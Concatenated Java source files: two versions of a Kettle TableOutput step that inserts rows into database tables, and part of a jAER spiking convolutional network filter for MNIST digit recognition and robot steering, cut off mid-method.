import be.ibridge.kettle.core.exception.KettleDatabaseException;
import be.ibridge.kettle.core.exception.KettleException;
import be.ibridge.kettle.core.exception.KettleStepException;
import be.ibridge.kettle.core.value.Value;
import be.ibridge.kettle.trans.Trans;
import be.ibridge.kettle.trans.TransMeta;
import be.ibridge.kettle.trans.step.BaseStep;
import be.ibridge.kettle.trans.step.StepDataInterface;
import be.ibridge.kettle.trans.step.StepInterface;
import be.ibridge.kettle.trans.step.StepMeta;
import be.ibridge.kettle.trans.step.StepMetaInterface;
/**
* Writes rows to a database table.
*
* @author Matt
* @since 6-apr-2003
*/
public class TableOutput extends BaseStep implements StepInterface
{
private TableOutputMeta meta;
private TableOutputData data;
public TableOutput(StepMeta stepMeta, StepDataInterface stepDataInterface, int copyNr, TransMeta transMeta, Trans trans)
{
super(stepMeta, stepDataInterface, copyNr, transMeta, trans);
}
public boolean processRow(StepMetaInterface smi, StepDataInterface sdi) throws KettleException
{
meta=(TableOutputMeta)smi;
data=(TableOutputData)sdi;
Row r;
r=getRow(); // this also waits for a previous step to be finished.
if (r==null) // no more input to be expected...
{
setOutputDone();
return false;
}
try
{
writeToTable(r);
putRow(r); // in case we want it go further...
if ((linesOutput>0) && (linesOutput%Const.ROWS_UPDATE)==0 && linesOutput>0) logBasic("linenr "+linesOutput);
}
catch(KettleException e)
{
logError("Because of an error, this step can't continue: "+e.getMessage());
setErrors(1);
stopAll();
setOutputDone(); // signal end to receiver(s)
return false;
}
return true;
}
private boolean writeToTable(Row r)
throws KettleException
{
debug="start";
if (r==null) // Stop: last line or error encountered
{
logDetailed("Last line inserted: stop");
return false;
}
PreparedStatement insertStatement = null;
String tableName = null;
Value removedValue = null;
if ( meta.isTableNameInField() )
{
// Cache the position of the table name field
if (data.indexOfTableNameField<0)
{
data.indexOfTableNameField = r.searchValueIndex(meta.getTableNameField());
if (data.indexOfTableNameField<0)
{
String message = "Unable to find table name field ["+meta.getTableNameField()+"] in input row";
log.logError(toString(), message);
throw new KettleStepException(message);
}
}
tableName = r.getValue(data.indexOfTableNameField).getString();
if (!meta.isTableNameInTable())
{
removedValue = r.getValue(data.indexOfTableNameField);
r.removeValue(data.indexOfTableNameField);
}
}
else
if ( meta.isPartitioningEnabled() &&
( meta.isPartitioningDaily() || meta.isPartitioningMonthly()) &&
( meta.getPartitioningField()!=null && meta.getPartitioningField().length()>0 )
)
{
// Initialize some stuff!
if (data.indexOfPartitioningField<0)
{
data.indexOfPartitioningField = r.searchValueIndex(meta.getPartitioningField());
if (data.indexOfPartitioningField<0)
{
throw new KettleStepException("Unable to find field ["+meta.getPartitioningField()+"] in the input row!");
}
if (meta.isPartitioningDaily())
{
data.dateFormater = new SimpleDateFormat("yyyyMMdd");
}
else
{
data.dateFormater = new SimpleDateFormat("yyyyMM");
}
}
Value partitioningValue = r.getValue(data.indexOfPartitioningField);
if (!partitioningValue.isDate() || partitioningValue.isNull())
{
throw new KettleStepException("Sorry, the partitioning field needs to contain a data value and can't be empty!");
}
tableName+="_"+data.dateFormater.format(partitioningValue.getDate());
}
else
{
tableName = Const.replEnv( meta.getTablename() );
}
if (tableName==null || tableName.length()==0)
{
throw new KettleStepException("The tablename is not defined (empty)");
}
insertStatement = (PreparedStatement) data.preparedStatements.get(tableName);
if (insertStatement==null)
{
debug="prepareInsert for table ["+tableName+"]";
String sql = data.db.getInsertStatement(tableName, r);
logDetailed("Prepared statement : "+sql);
insertStatement = data.db.prepareSQL(sql);
data.preparedStatements.put(tableName, insertStatement);
}
try
{
debug="setValuesInsert";
data.db.setValues(r, insertStatement);
debug="insertRow";
data.db.insertRow(insertStatement, data.batchMode);
linesOutput++;
}
catch(KettleDatabaseBatchException be)
{
data.db.clearBatch(insertStatement);
data.db.rollback();
throw new KettleException("Error batch inserting rows into table ["+tableName+"]", be);
}
catch(KettleDatabaseException dbe)
{
debug="Normal exception";
if (meta.ignoreErrors())
{
if (data.warnings<20)
{
logBasic("WARNING: Coudln't insert row into table: "+r+Const.CR+dbe.getMessage());
}
else
if (data.warnings==20)
{
logBasic("FINAL WARNING (no more then 20 displayed): Coudln't insert row into table: "+r+Const.CR+dbe.getMessage());
}
data.warnings++;
}
else
{
setErrors(getErrors()+1);
data.db.rollback();
throw new KettleException("Error inserting row into table ["+tableName+"] with values: "+r, dbe);
}
}
if (meta.isTableNameInField() && !meta.isTableNameInTable())
{
debug="add value of table name field";
r.addValue(data.indexOfTableNameField, removedValue);
}
debug="end";
return true;
}
public boolean init(StepMetaInterface smi, StepDataInterface sdi)
{
meta=(TableOutputMeta)smi;
data=(TableOutputData)sdi;
if (super.init(smi, sdi))
{
try
{
data.batchMode = meta.getCommitSize()>0 && meta.useBatchUpdate();
data.db=new Database(meta.getDatabase());
data.db.connect();
logBasic("Connected to database ["+meta.getDatabase()+"] (commit="+meta.getCommitSize()+")");
data.db.setCommit(meta.getCommitSize());
if (!meta.isPartitioningEnabled() && !meta.isTableNameInField())
{
if (meta.truncateTable() && getCopy()==0) // Only the first one truncates!!!
{
data.db.truncateTable(Const.replEnv( meta.getTablename() ));
}
}
return true;
}
catch(KettleException e)
{
logError("An error occurred intialising this step: "+e.getMessage());
stopAll();
setErrors(1);
}
}
return false;
}
public void dispose(StepMetaInterface smi, StepDataInterface sdi)
{
meta=(TableOutputMeta)smi;
data=(TableOutputData)sdi;
try
{
Iterator preparedStatements = data.preparedStatements.values().iterator();
while (preparedStatements.hasNext())
{
PreparedStatement insertStatement = (PreparedStatement) preparedStatements.next();
data.db.insertFinished(insertStatement, data.batchMode);
}
}
catch(KettleDatabaseBatchException be)
{
logError("Unexpected batch update error committing the database connection: "+be.toString());
setErrors(1);
stopAll();
}
catch(Exception dbe)
{
dbe.printStackTrace();
logError("Unexpected error committing the database connection: "+dbe.toString());
setErrors(1);
stopAll();
}
data.db.disconnect();
}
/**
* Run is were the action happens!
*/
public void run()
{
try
{
logBasic("Starting to run...");
while (processRow(meta, data) && !isStopped());
}
catch(Exception e)
{
logError("Unexpected error encountered ["+debug+"] : "+e.toString());
setErrors(1);
stopAll();
}
finally
{
dispose(meta, data);
logSummary();
markStop();
}
}
}
|
package be.ibridge.kettle.trans.step.tableoutput;
import java.sql.PreparedStatement;
import java.text.SimpleDateFormat;
import java.util.Iterator;
import be.ibridge.kettle.core.Const;
import be.ibridge.kettle.core.Row;
import be.ibridge.kettle.core.database.Database;
import be.ibridge.kettle.core.exception.KettleDatabaseBatchException;
import be.ibridge.kettle.core.exception.KettleDatabaseException;
import be.ibridge.kettle.core.exception.KettleException;
import be.ibridge.kettle.core.exception.KettleStepException;
import be.ibridge.kettle.core.util.StringUtil;
import be.ibridge.kettle.core.value.Value;
import be.ibridge.kettle.trans.Trans;
import be.ibridge.kettle.trans.TransMeta;
import be.ibridge.kettle.trans.step.BaseStep;
import be.ibridge.kettle.trans.step.StepDataInterface;
import be.ibridge.kettle.trans.step.StepInterface;
import be.ibridge.kettle.trans.step.StepMeta;
import be.ibridge.kettle.trans.step.StepMetaInterface;
/**
* Writes rows to a database table.
*
* @author Matt
* @since 6-apr-2003
*/
public class TableOutput extends BaseStep implements StepInterface
{
private TableOutputMeta meta;
private TableOutputData data;
public TableOutput(StepMeta stepMeta, StepDataInterface stepDataInterface, int copyNr, TransMeta transMeta, Trans trans)
{
super(stepMeta, stepDataInterface, copyNr, transMeta, trans);
}
public boolean processRow(StepMetaInterface smi, StepDataInterface sdi) throws KettleException
{
meta=(TableOutputMeta)smi;
data=(TableOutputData)sdi;
Row r;
r=getRow(); // this also waits for a previous step to be finished.
if (r==null) // no more input to be expected...
{
setOutputDone();
return false;
}
try
{
writeToTable(r);
putRow(r); // in case we want it go further...
if (checkFeedback(linesOutput)) logBasic("linenr "+linesOutput);
}
catch(KettleException e)
{
logError("Because of an error, this step can't continue: "+e.getMessage());
setErrors(1);
stopAll();
setOutputDone(); // signal end to receiver(s)
return false;
}
return true;
}
private boolean writeToTable(Row r) throws KettleException
{
if (r==null) // Stop: last line or error encountered
{
if (log.isDetailed()) logDetailed("Last line inserted: stop");
return false;
}
PreparedStatement insertStatement = null;
String tableName = null;
Value removedValue = null;
if ( meta.isTableNameInField() )
{
// Cache the position of the table name field
if (data.indexOfTableNameField<0)
{
data.indexOfTableNameField = r.searchValueIndex(meta.getTableNameField());
if (data.indexOfTableNameField<0)
{
String message = "Unable to find table name field ["+meta.getTableNameField()+"] in input row";
log.logError(toString(), message);
throw new KettleStepException(message);
}
}
tableName = r.getValue(data.indexOfTableNameField).getString();
if (!meta.isTableNameInTable())
{
removedValue = r.getValue(data.indexOfTableNameField);
r.removeValue(data.indexOfTableNameField);
}
}
else
if ( meta.isPartitioningEnabled() &&
( meta.isPartitioningDaily() || meta.isPartitioningMonthly()) &&
( meta.getPartitioningField()!=null && meta.getPartitioningField().length()>0 )
)
{
// Initialize some stuff!
if (data.indexOfPartitioningField<0)
{
data.indexOfPartitioningField = r.searchValueIndex(meta.getPartitioningField());
if (data.indexOfPartitioningField<0)
{
throw new KettleStepException("Unable to find field ["+meta.getPartitioningField()+"] in the input row!");
}
if (meta.isPartitioningDaily())
{
data.dateFormater = new SimpleDateFormat("yyyyMMdd");
}
else
{
data.dateFormater = new SimpleDateFormat("yyyyMM");
}
}
Value partitioningValue = r.getValue(data.indexOfPartitioningField);
if (!partitioningValue.isDate() || partitioningValue.isNull())
{
throw new KettleStepException("Sorry, the partitioning field needs to contain a data value and can't be empty!");
}
tableName=StringUtil.environmentSubstitute(meta.getTablename())+"_"+data.dateFormater.format(partitioningValue.getDate());
}
else
{
tableName = data.tableName;
}
if (Const.isEmpty(tableName))
{
throw new KettleStepException("The tablename is not defined (empty)");
}
insertStatement = (PreparedStatement) data.preparedStatements.get(tableName);
if (insertStatement==null)
{
String sql = data.db.getInsertStatement(meta.getSchemaName(), tableName, r);
if (log.isDetailed()) logDetailed("Prepared statement : "+sql);
insertStatement = data.db.prepareSQL(sql, meta.isReturningGeneratedKeys());
data.preparedStatements.put(tableName, insertStatement);
}
try
{
data.db.setValues(r, insertStatement);
data.db.insertRow(insertStatement, data.batchMode);
linesOutput++;
// See if we need to get back the keys as well...
if (meta.isReturningGeneratedKeys())
{
Row extra = data.db.getGeneratedKeys(insertStatement);
// Send out the good word!
// Only 1 key at the moment. (should be enough for now :-)
Value keyVal = extra.getValue(0);
keyVal.setName(meta.getGeneratedKeyField());
r.addValue(keyVal);
}
}
catch(KettleDatabaseBatchException be)
{
data.db.clearBatch(insertStatement);
data.db.rollback();
throw new KettleException("Error batch inserting rows into table ["+tableName+"]", be);
}
catch(KettleDatabaseException dbe)
{
if (meta.ignoreErrors())
{
if (data.warnings<20)
{
logBasic("WARNING: Couldn't insert row into table: "+r+Const.CR+dbe.getMessage());
}
else
if (data.warnings==20)
{
logBasic("FINAL WARNING (no more then 20 displayed): Couldn't insert row into table: "+r+Const.CR+dbe.getMessage());
}
data.warnings++;
}
else
{
setErrors(getErrors()+1);
data.db.rollback();
throw new KettleException("Error inserting row into table ["+tableName+"] with values: "+r, dbe);
}
}
if (meta.isTableNameInField() && !meta.isTableNameInTable())
{
r.addValue(data.indexOfTableNameField, removedValue);
}
return true;
}
public boolean init(StepMetaInterface smi, StepDataInterface sdi)
{
meta=(TableOutputMeta)smi;
data=(TableOutputData)sdi;
if (super.init(smi, sdi))
{
try
{
data.batchMode = meta.getCommitSize()>0 && meta.useBatchUpdate();
data.db=new Database(meta.getDatabaseMeta());
if (getTransMeta().isUsingUniqueConnections())
{
synchronized (getTrans()) { data.db.connect(getTrans().getThreadName(), getPartitionID()); }
}
else
{
data.db.connect(getPartitionID());
}
logBasic("Connected to database ["+meta.getDatabaseMeta()+"] (commit="+meta.getCommitSize()+")");
data.db.setCommit(meta.getCommitSize());
if (!meta.isPartitioningEnabled() && !meta.isTableNameInField())
{
data.tableName = meta.getDatabaseMeta().getQuotedSchemaTableCombination( StringUtil.environmentSubstitute( meta.getSchemaName() ), StringUtil.environmentSubstitute( meta.getTablename()) );
// Only the first one truncates in a non-partitioned step copy
if (meta.truncateTable() && ( getCopy()==0 || !Const.isEmpty(getPartitionID())) )
{
data.db.truncateTable(data.tableName);
}
}
return true;
}
catch(KettleException e)
{
logError("An error occurred intialising this step: "+e.getMessage());
stopAll();
setErrors(1);
}
}
return false;
}
public void dispose(StepMetaInterface smi, StepDataInterface sdi)
{
meta=(TableOutputMeta)smi;
data=(TableOutputData)sdi;
try
{
Iterator preparedStatements = data.preparedStatements.values().iterator();
while (preparedStatements.hasNext())
{
PreparedStatement insertStatement = (PreparedStatement) preparedStatements.next();
data.db.insertFinished(insertStatement, data.batchMode);
}
}
catch(KettleDatabaseBatchException be)
{
logError("Unexpected batch update error committing the database connection: "+be.toString());
setErrors(1);
stopAll();
}
catch(Exception dbe)
{
// dbe.printStackTrace();
logError("Unexpected error committing the database connection: "+dbe.toString());
setErrors(1);
stopAll();
}
finally
{
if (getErrors()>0)
{
try
{
data.db.rollback();
}
catch(KettleDatabaseException e)
{
logError("Unexpected error rolling back the database connection: "+e.toString());
}
}
data.db.disconnect();
super.dispose(smi, sdi);
}
}
/**
* Run is were the action happens!
*/
public void run()
{
try
{
logBasic("Starting to run...");
while (processRow(meta, data) && !isStopped());
}
catch(Exception e)
{
logError("Unexpected error : "+e.toString());
logError(Const.getStackTracker(e));
setErrors(1);
stopAll();
}
finally
{
dispose(meta, data);
logSummary();
markStop();
}
}
}
|
package ch.unizh.ini.jaer.projects.ziyispikingcnn;
import java.awt.Color;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.HashSet;
import java.util.List;
import javax.swing.JFileChooser;
import javax.swing.filechooser.FileFilter;
import javax.swing.filechooser.FileNameExtensionFilter;
import com.jogamp.opengl.GL;
import com.jogamp.opengl.GL2;
import com.jogamp.opengl.GL2ES3;
import com.jogamp.opengl.GLAutoDrawable;
import com.jogamp.opengl.util.gl2.GLUT;
import eu.visualize.ini.convnet.EasyXMLReader;
import net.sf.jaer.DevelopmentStatus;
import net.sf.jaer.chip.AEChip;
import net.sf.jaer.event.BasicEvent;
import net.sf.jaer.event.EventPacket;
import net.sf.jaer.event.PolarityEvent;
import net.sf.jaer.eventprocessing.EventFilter2D;
import net.sf.jaer.eventprocessing.FilterChain;
import net.sf.jaer.graphics.FrameAnnotater;
@DevelopmentStatus(DevelopmentStatus.Status.Experimental)
public class SpikingCNN extends EventFilter2D implements FrameAnnotater {
//general
public ch.unizh.ini.jaer.projects.ziyispikingcnn.SpikingNetStructure.network net = new ch.unizh.ini.jaer.projects.ziyispikingcnn.SpikingNetStructure.network();
private String lastXMLFilename = getString("lastXMLFilename", "cnn_test.xml");
private String lastTXTFilename = getString("lastTXTFilename", "test_set_labels.txt");
private boolean showOutputAsBarChart = getBoolean("showOutputAsBarChart", true);
private boolean LabelsAvailable = getBoolean("LabelsAvailable",false);
//private boolean LeakAllNeurons = getBoolean("LeakAllNeurons",false);
//private boolean decayOutput = getBoolean("DecayOutput",false);
private boolean showLatency = getBoolean("showLatency",true);
private boolean showAccuracy = getBoolean("showAccuracy",true);
private boolean showDigitsAccuracy = getBoolean("showDigitsAccuracy",true);
private boolean robotSteering = getBoolean("robotSteering",true);
private boolean MNIST = getBoolean("MNIST",true);
//private boolean takeAllInput = getBoolean("takeAllInput",true);
//private boolean subsampleInput = getBoolean("subsampleInput",true);
private boolean reset = getBoolean("reset",true);
private float tref = getFloat("tref", 0.0f);
private float threshold = getFloat("threshold", 0.5f);
private float negative_threshold = getFloat("negativeThreshold", Float.NEGATIVE_INFINITY);
private float decay_output = getFloat("decayConstOutput",0.0f);
//private float decay_neuron = getFloat("decayConstNeuron",0.0f);
//private float timeconst_output = getFloat("timeConstOutput",0.0f);
//private float timeconst_neuron = getFloat("timeConstNeuron",0.0f);
//MNIST
int xmedian = 0;
int ymedian = 0;
int count_total = 0;
int correct_count_total = 0;
int label = 0;
int predict_final = 0;
float t_previous = 0f;
float[][] digit_accuracy = new float[10][2];
List<Float> ending_times = new ArrayList<>();
List<Float> starting_times = new ArrayList<>();
List<Integer> labels = new ArrayList<>();
float digit_start = 0.0f;
float latency = 0.0f;
float latency_sum = 0.0f;
float latency_average = 0.0f;
boolean changedigit = false;
boolean winnergot = false;
int num_label = 0;
//RobotSteering
private TargetLabeler targetLabeler = null;
private Error error = new Error();
private static final int LEFT = 0, CENTER = 1, RIGHT = 2, INVISIBLE = 3; // define output cell types
final String param = "Parameter", disp = "Display", opt = "Option";
public SpikingCNN(AEChip chip) throws IOException {
super(chip);
setPropertyTooltip("LoadCNNFromXML","Load an XML file containing a CNN exported from DeepLearnToolbox by cnntoxml.m");
setPropertyTooltip("LoadLabel","Load a txt file containing timestamps and label of digits");
setPropertyTooltip(disp, "showOutputAsBarChart", "displays activity of output units as bar chart, where height indicates activation");
setPropertyTooltip(opt, "LabelsAvailable", "a file with label and corresponding ts is present and loaded");
setPropertyTooltip(opt, "showLatency","latency of getting the correct prediction");
setPropertyTooltip(opt, "showAccuracy","accuracy");
setPropertyTooltip(opt, "showDigitsAccuracy","accuracy of each digits in case of MNIST");
//setPropertyTooltip(opt, "DecayOutput","apply decay functions to output");
//setPropertyTooltip(opt, "LeakAllNeurons","apply decay functions to all neurons");
setPropertyTooltip(opt, "robotSteering","the cnn is for robot steering");
setPropertyTooltip(opt, "MNIST","the cnn is for MNIST");
//setPropertyTooltip(opt, "takeAllInput","the input is about the size of input layer in the network loaded");
//setPropertyTooltip(opt, "subsampleInput","the input is much larger than the size of input layer in the network loaded");
setPropertyTooltip(opt, "reset","reset network");
setPropertyTooltip(param, "negativeThreshold","bound on negative potential");
setPropertyTooltip(param, "tref","refractory period");
setPropertyTooltip(param, "threshold","threshold for spiking");
//setPropertyTooltip(param, "decayConstNeuron","decay constant for leaky neurons");
setPropertyTooltip(param, "decayConstOutput","decay constant for the output layer");
//setPropertyTooltip(param, "timeConstNeuron","time constant for leaky neurons");
//setPropertyTooltip(param, "timeConstOutput","time constant for the output layer");
if (robotSteering){
FilterChain chain = new FilterChain(chip);
targetLabeler = new TargetLabeler(chip); // used to validate whether descisions are correct or not
chain.add(targetLabeler);
setEnclosedFilterChain(chain);
}
initFilter();
}
public void doLoadNetworkFromXML() throws IOException {
JFileChooser c = new JFileChooser(lastXMLFilename);
FileFilter filt = new FileNameExtensionFilter("XML File", "xml");
c.addChoosableFileFilter(filt);
c.setSelectedFile(new File(lastXMLFilename));
int ret = c.showOpenDialog(chip.getAeViewer());
if (ret != JFileChooser.APPROVE_OPTION) {
return;
}
lastXMLFilename = c.getSelectedFile().toString();
putString("lastXMLFilename", lastXMLFilename);
loadFromXMLFile(c.getSelectedFile());
}
public void doLoadLabelFile() throws IOException {
JFileChooser c = new JFileChooser(lastTXTFilename);
FileFilter filt = new FileNameExtensionFilter("TXT File", "txt");
c.addChoosableFileFilter(filt);
c.setSelectedFile(new File(lastTXTFilename));
int ret = c.showOpenDialog(chip.getAeViewer());
if (ret != JFileChooser.APPROVE_OPTION) {
return;
}
lastTXTFilename = c.getSelectedFile().toString();
putString("lastTXTFilename", lastTXTFilename);
ReadInput(lastTXTFilename);
}
public void ReadInput(String filename) throws IOException{
String line;
try (
InputStream fis = new FileInputStream(filename);
InputStreamReader isr = new InputStreamReader(fis, Charset.forName("UTF-8"));
BufferedReader br = new BufferedReader(isr);
) {
while ((line = br.readLine()) != null) {
ending_times.add((float)(Float.parseFloat(line.split(" ")[2])/1e6));
starting_times.add((float)(Float.parseFloat(line.split(" ")[1])/1e6));
labels.add((int)(Float.parseFloat(line.split(" ")[0])));
}
}
for (int i = 0; i < 10; i++) {
for (int j = 0; j < 2; j++) {
digit_accuracy[i][i]=0f;
}
}
}
/*public boolean isDecayOutput(){return decayOutput;}
public void setDecayOutput(boolean decayoutput){
this.decayOutput = decayoutput;
putBoolean("DecayOutput",decayoutput);
}*/
public boolean isReset(){return reset;}
public void setReset(boolean reset){
this.reset = reset;
putBoolean("reset",reset);
}
/*public boolean isTakeAllInput(){return takeAllInput;}
public void setTakeAllInput(boolean takeAllInput){
this.takeAllInput=takeAllInput;
putBoolean("takeAllInput",takeAllInput);
}
public boolean isSubsampleInput(){return subsampleInput;}
public void setSubsampleInput(boolean subsampleInput){
this.subsampleInput = subsampleInput;
putBoolean("subsampleInput",subsampleInput);
}*/
public boolean isShowOutputAsBarChart() {
return showOutputAsBarChart;
}
public void setShowOutputAsBarChart(boolean showOutputAsBarChart) {
this.showOutputAsBarChart = showOutputAsBarChart;
putBoolean("showOutputAsBarChart", showOutputAsBarChart);
}
public boolean isShowLatency(){return showLatency;}
public void setShowLatency(boolean showLatency){
this.showLatency = showLatency;
putBoolean("showLatency",showLatency);
}
public boolean isShowAccuracy(){return showAccuracy;}
public void setShowAccuracy(boolean showAccuracy){
this.showAccuracy = showAccuracy;
putBoolean("showAccuracy",showAccuracy);
}
public boolean isShowDigitsAccuracy(){return showDigitsAccuracy;}
public void setShowDigitsAccuracy(boolean showDigitsAccuracy){
this.showDigitsAccuracy = showDigitsAccuracy;
putBoolean("showDigitsAccuracy",showDigitsAccuracy);
}
public boolean isLabelsAvailable() {
return LabelsAvailable;
}
public void setLabelsAvailable(boolean LabelsAvailable) {
this.LabelsAvailable = LabelsAvailable;
putBoolean("LabelsAvailable", LabelsAvailable);
}
/*public boolean isLeakAllNeurons(){
return LeakAllNeurons;
}
public void setLeakAllNeurons(boolean leakallneurons){
this.LeakAllNeurons = leakallneurons;
putBoolean("LeakAllNeurons",leakallneurons);
}*/
public boolean isRobotSteering(){return robotSteering;}
public void setRobotSteering(boolean robotSteering){
this.robotSteering = robotSteering;
putBoolean("robotSteering",robotSteering);
}
public boolean isMNIST(){return MNIST;}
public void setMNIST(boolean mnist){
this.MNIST = mnist;
putBoolean("MNIST",mnist);
}
public float gettref(){
return tref;
}
public void settref(float t_ref){
tref = t_ref;
putFloat("tref",t_ref);
}
public float getnegativeThreshold() {
return negative_threshold;
}
public void setnegativeThreshold(float negativethres){
negative_threshold = negativethres;
putFloat("negativeThreshold",negativethres);
}
public float getthreshold(){
return threshold;
}
public void setthreshold(float thres){
threshold = thres;
putFloat("threshold",thres);
}
/*public float getdecayConstNeuron(){
return decay_neuron;
}
public void setdecayConstNeuron(float decayN){
decay_neuron = decayN;
putFloat("decayConstNeuron",decayN);
}*/
public float getdecayConstOutput(){
return decay_output;
}
public void setdecayConstOutput(float decayO){
decay_output = decayO;
putFloat("decayConstOutput",decayO);
}
/*public float gettimeConstNeuron(){
return timeconst_neuron;
}
public void settimeConstNeuron(float timeCN){
timeconst_neuron = timeCN;
putFloat("timeConstNeuron",timeCN);
}
public float gettimeConstOutput(){
return timeconst_output;
}
public void settimeConstOutput(float timeCO){
timeconst_output = timeCO;
putFloat("timeConstOutput",timeCO);
}*/
@Override
public void resetFilter() {
error.reset();
}
@Override
public void initFilter() {
}
@Override
synchronized public EventPacket<?> filterPacket(EventPacket<?> in){
List<Float> times = new ArrayList<>();
List<Integer> y = new ArrayList<>();
List<Integer> x = new ArrayList<>();
List<Integer> y_clone = new ArrayList<>();
List<Integer> x_clone = new ArrayList<>();
for(BasicEvent o: in) {
if (((PolarityEvent) o).polarity == PolarityEvent.Polarity.On){
float ts;
if (o.timestamp>=0) {
ts = (float) (o.timestamp / 1e6);
}
else {
ts = (float)((o.timestamp/1e6)+4294.967296f);
}
times.add(ts);
y.add(o.y + 1);
x.add(o.x + 1);
y_clone.add(o.y + 1);
x_clone.add(o.x + 1);
}
}
//reset network if digit changed and reset==true
if (reset){
if (changedigit){
Initialization();
if (!showLatency){
changedigit = false;
}
}
}
//calculate latency and reset if the digit is changed
if(showLatency) {
if (changedigit) {
if (!times.isEmpty()) {
digit_start = times.get(0);
changedigit = false;
winnergot = false;
}
}
}
//update network only when spike presents
if (!x_clone.isEmpty()) {
//use median tracker to process input
if(MNIST) {
xmedian = getMedian(x_clone);
ymedian = getMedian(y_clone);
}
//process spikes such that they're consistent with the size of input layer
List<List<Integer>> coordinates_index_new = DVStoPixelInputSpace(x, y, xmedian, ymedian);
List<Float> times_new = new ArrayList<>();
if (MNIST){
for (int i = 0; i < coordinates_index_new.size(); i++) {
times_new.add(times.get(coordinates_index_new.get(i).get(2)));
}
}else if (robotSteering){
times_new = times;
}
Convlifsim(coordinates_index_new, tref, threshold, times_new);
t_previous = times.get(times.size()-1);
double max = 0;
int predict = 0;
for (int i = 0; i < net.o_sum_spikes.length; i++) {
if (net.o_sum_spikes[i] >= max) {
max = net.o_sum_spikes[i];
predict = i;
}
}
if (showLatency) {
if (winnergot == false) {
if (predict == labels.get(0)) {
latency = t_previous - digit_start;
winnergot = true;
latency_sum += latency;
}
}
}
if (LabelsAvailable) {
if (times.get(times.size() - 1) > ending_times.get(0)) {
predict_final = predict;
label = labels.get(0);
count_total++;
digit_accuracy[label][1]+=1;
if (label == predict) {
correct_count_total++;
digit_accuracy[label][0] += 1;
}
labels.remove(0);
ending_times.remove(0);
starting_times.remove(0);
num_label++;
if (showLatency) {
if (winnergot == false) {
latency = t_previous - digit_start;
latency_sum += latency;
}
latency_average = latency_sum/num_label;
}
changedigit=true;
}
}
}
return in;
}
@Override
public void annotate(GLAutoDrawable drawable){
GL2 gl = drawable.getGL().getGL2();
gl.glPushMatrix();
gl.glColor3f(0, 0, 1);
gl.glLineWidth(4);
if (LabelsAvailable) {
if (LabelsAvailable) {
GLUT glut1 = new GLUT();
gl.glRasterPos2f(0, 50);
glut1.glutBitmapString(GLUT.BITMAP_TIMES_ROMAN_24, String.format("label = %s", Integer.toString(label)));
GLUT glut2 = new GLUT();
gl.glRasterPos2f(0, 45);
glut2.glutBitmapString(GLUT.BITMAP_TIMES_ROMAN_24, String.format("prediction = %s", Integer.toString(predict_final)));
if (showAccuracy) {
GLUT glut3 = new GLUT();
gl.glRasterPos2f(0, 40);
glut3.glutBitmapString(GLUT.BITMAP_TIMES_ROMAN_24, String.format("accuracy = %s", String.format("%.2f", (correct_count_total * 100f) / (count_total))));
}
if (showDigitsAccuracy) {
GLUT glut4 = new GLUT();
gl.glRasterPos2f(0, 35);
glut4.glutBitmapString(GLUT.BITMAP_TIMES_ROMAN_24, String.format("0:%s " + " 1:%s " + " 2:%s " + " 3:%s " + " 4:%s " + " 5:%s " + " 6:%s " + " 7:%s " + " 8:%s " + " 9:%s ", String.format("%.1f", ((100f * digit_accuracy[0][0]) / digit_accuracy[0][1])), String.format("%.1f", ((100f * digit_accuracy[1][0]) / digit_accuracy[1][1])), String.format("%.1f", ((100f * digit_accuracy[2][0]) / digit_accuracy[2][1])), String.format("%.1f", ((100f * digit_accuracy[3][0]) / digit_accuracy[3][1])), String.format("%.1f", ((100f * digit_accuracy[4][0]) / digit_accuracy[4][1])), String.format("%.1f", ((100f * digit_accuracy[5][0]) / digit_accuracy[5][1])), String.format("%.1f", ((100f * digit_accuracy[6][0]) / digit_accuracy[6][1])), String.format("%.1f", ((100f * digit_accuracy[7][0]) / digit_accuracy[7][1])), String.format("%.1f", ((100f * digit_accuracy[8][0]) / digit_accuracy[8][1])), String.format("%.1f", ((100f * digit_accuracy[9][0]) / digit_accuracy[9][1]))));
}
if (showLatency) {
GLUT glut5 = new GLUT();
gl.glRasterPos2f(0, 30);
glut5.glutBitmapString(GLUT.BITMAP_TIMES_ROMAN_24, String.format("current_latency = %s " + " average_latency = %s", String.format("%.3f", latency), String.format("%.3f", latency_average)));
}
}
}
if (MNIST) {
gl.glBegin(GL.GL_LINE_LOOP);
gl.glVertex2d(xmedian - 13, ymedian + 14);
gl.glVertex2d(xmedian + 14, ymedian + 14);
gl.glVertex2d(xmedian + 14, ymedian - 13);
gl.glVertex2d(xmedian - 13, ymedian - 13);
gl.glEnd();
}
if(showOutputAsBarChart) {
final float lineWidth = 2;
annotateHistogram(gl, chip.getSizeX(), chip.getSizeY(), lineWidth, Color.RED);
}
gl.glPopMatrix();
}
public void outputHistogram(GL2 gl, int width, int height){
float dx = (float) width/net.o_sum_spikes.length;
float sy = (float) height/8;
gl.glBegin(GL.GL_LINE_STRIP);
for (int i = 0; i < net.o_sum_spikes.length; i++) {
float y = 1 + (sy * (float)net.o_sum_spikes[i]);
float x1 = 1 + (dx * i), x2 = x1 + dx;
gl.glVertex2f(x1, 1);
gl.glVertex2f(x1, y);
gl.glVertex2f(x2, y);
gl.glVertex2f(x2, 1);
}
gl.glEnd();
}
public void annotateHistogram(GL2 gl, int width, int height, float lineWidth, Color color) {
gl.glPushAttrib(GL2ES3.GL_COLOR | GL.GL_LINE_WIDTH);
gl.glLineWidth(lineWidth);
float[] ca = color.getColorComponents(null);
gl.glColor4fv(ca, 0);
outputHistogram(gl, width, height);
gl.glPopAttrib();
}
//reset network if reset==true
public void Initialization(){
for (int i = 0; i < net.layers.size(); i++) {
ch.unizh.ini.jaer.projects.ziyispikingcnn.SpikingNetStructure.LAYER current_layer = net.layers.get(i);
float[][] correctly_sized_zeros = new float[current_layer.dimx][current_layer.dimy];
for (int j = 0; j < current_layer.dimx; j++) {
for (int k = 0; k < current_layer.dimy; k++) {
correctly_sized_zeros[j][k]=0.0f;
}
}
for (int j = 0; j < current_layer.outmaps; j++) {
current_layer.m.set(j,correctly_sized_zeros);
current_layer.r.set(j,correctly_sized_zeros);
current_layer.s.set(j,correctly_sized_zeros);
current_layer.sp.set(j,correctly_sized_zeros);
}
}
net.sum_fv = new float[net.ffw[0].length];
for (int i = 0; i < net.sum_fv.length; i++) {
net.sum_fv[i]=0.0f;
}
int outputclass = net.o_mem.length;
net.o_mem = new float[outputclass];
net.o_refrac_end = new float[outputclass];
